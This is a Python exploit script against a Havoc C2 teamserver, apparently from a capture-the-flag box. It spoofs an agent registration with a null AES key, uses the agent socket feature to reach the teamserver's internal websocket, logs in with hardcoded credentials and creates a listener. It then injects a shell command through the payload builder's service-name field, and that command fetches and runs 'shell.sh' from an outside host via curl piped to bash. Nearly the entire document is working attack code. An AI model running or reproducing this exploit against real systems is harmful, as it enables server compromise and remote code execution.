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import os import json import hashlib import binascii import random import requests import argparse import urllib3 urllib3.disable_warnings()
from Crypto.Cipher import AES from Crypto.Util import Counter
USER = "ilya" PASSWORD = "CobaltStr1keSuckz!"
key_bytes = 32
def decrypt(key, iv, ciphertext): if len(key) <= key_bytes: for _ in range(len(key), key_bytes): key += b"0" assert len(key) == key_bytes iv_int = int(binascii.hexlify(iv), 16) ctr = Counter.new(AES.block_size * 8, initial_value=iv_int) aes = AES.new(key, AES.MODE_CTR, counter=ctr) plaintext = aes.decrypt(ciphertext) return plaintext
def int_to_bytes(value, length=4, byteorder="big"): return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext): if len(key) <= key_bytes: for x in range(len(key),key_bytes): key = key + b"0" assert len(key) == key_bytes iv_int = int(binascii.hexlify(iv), 16) ctr = Counter.new(AES.block_size * 8, initial_value=iv_int) aes = AES.new(key, AES.MODE_CTR, counter=ctr) ciphertext = aes.encrypt(plaintext) return ciphertext def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id): command = b"\x00\x00\x00\x63" request_id = b"\x00\x00\x00\x01" demon_id = agent_id hostname_length = int_to_bytes(len(hostname)) username_length = int_to_bytes(len(username)) domain_name_length = int_to_bytes(len(domain_name)) internal_ip_length = int_to_bytes(len(internal_ip)) process_name_length = int_to_bytes(len(process_name) - 6) data = b"\xab" * 100 header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id print("[***] Trying to register agent ...") r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to register agent - {r.status_code} {r.text}") def open_socket(socket_id, target_address, target_port): command = b"\x00\x00\x09\xec" request_id = b"\x00\x00\x00\x02" subcommand = b"\x00\x00\x00\x10" sub_request_id = b"\x00\x00\x00\x03" local_addr = b"\x22\x22\x22\x22" local_port = b"\x33\x33\x33\x33" forward_addr = b"" for octet in target_address.split(".")[::-1]: forward_addr += int_to_bytes(int(octet), length=1) forward_port = int_to_bytes(target_port) package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port package_size = int_to_bytes(len(package) + 4) header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package) size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id data = agent_header + header_data print("[***] Trying to open socket on the teamserver ...") r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}") def write_socket(socket_id, data, message): command = b"\x00\x00\x09\xec" request_id = b"\x00\x00\x00\x08" subcommand = b"\x00\x00\x00\x11" sub_request_id = b"\x00\x00\x00\xa1" socket_type = b"\x00\x00\x00\x03" success = b"\x00\x00\x00\x01" data_length = int_to_bytes(len(data)) package = subcommand+socket_id+socket_type+success+data_length+data package_size = int_to_bytes(len(package) + 4) header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package) size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id post_data = agent_header + header_data print(message) r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False) if r.status_code == 200: print("[***] Success!") else: print(f"[!!!] Failed - {r.status_code} {r.text}") def read_socket(socket_id): command = b"\x00\x00\x00\x01" request_id = b"\x00\x00\x00\x09" header_data = command + request_id size = 12 + len(header_data) size_bytes = size.to_bytes(4, 'big') agent_header = size_bytes + magic + agent_id data = agent_header + header_data print("[***] Trying to poll teamserver for socket output ...") r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False) if r.status_code == 200: print("[***] Read socket output successfully!") else: print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}") return "" command_id = int.from_bytes(r.content[0:4], "little") request_id = int.from_bytes(r.content[4:8], "little") package_size = int.from_bytes(r.content[8:12], "little") enc_package = r.content[12:] return decrypt(AES_Key, AES_IV, enc_package)[12:]
def create_websocket_request(HOST, PORT): request = ( f"GET /havoc/ HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Upgrade: websocket\r\n" f"Connection: Upgrade\r\n" f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n" f"Sec-WebSocket-Version: 13\r\n" f"\r\n" ).encode() return request
def build_websocket_frame(payload): payload_bytes = payload.encode("utf-8") frame = bytearray() frame.append(0x81) payload_length = len(payload_bytes) if payload_length <= 125: frame.append(0x80 | payload_length) elif payload_length <= 65535: frame.append(0x80 | 126) frame.extend(payload_length.to_bytes(2, byteorder="big")) else: frame.append(0x80 | 127) frame.extend(payload_length.to_bytes(8, byteorder="big"))
masking_key = os.urandom(4) frame.extend(masking_key) masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes)) frame.extend(masked_payload) return frame
parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="The listener target in URL format", required=True) parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True) parser.add_argument("-p", "--port", help="The port to open the socket with", required=True) parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36") parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1") parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator") parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP") parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe") parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
args = parser.parse_args()
magic = b"\xde\xad\xbe\xef" teamserver_listener_url = args.target headers = { "User-Agent": args.user_agent } agent_id = int_to_bytes(random.randint(100000, 1000000)) AES_Key = b"\x00" * 32 AES_IV = b"\x00" * 16 hostname = bytes(args.hostname, encoding="utf-8") username = bytes(args.username, encoding="utf-8") domain_name = bytes(args.domain_name, encoding="utf-8") internal_ip = bytes(args.internal_ip, encoding="utf-8") process_name = args.process_name.encode("utf-16le") process_id = int_to_bytes(random.randint(1000, 5000)) ip = args.ip port = args.port
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11" open_socket(socket_id, args.ip, int(args.port))
message="[***] Establishing connection to teamserver ..." websocket_request = create_websocket_request(ip, port) write_socket(socket_id, websocket_request,message)
message="[***] Authenticating to teamserver ..." payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}} payload_json = json.dumps(payload) frame = build_websocket_frame(payload_json) write_socket(socket_id, frame,message)
message="[***] Creating Listner ..." payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}} payload_json = json.dumps(payload) frame = build_websocket_frame(payload_json) write_socket(socket_id, frame, message)
message="[***] Injecting Command ..." cmd = "curl http://10.10.14.3:7777/shell.sh | bash" injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #""" payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": { "Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}} payload_json = json.dumps(payload) frame = build_websocket_frame(payload_json) write_socket(socket_id, frame,message)
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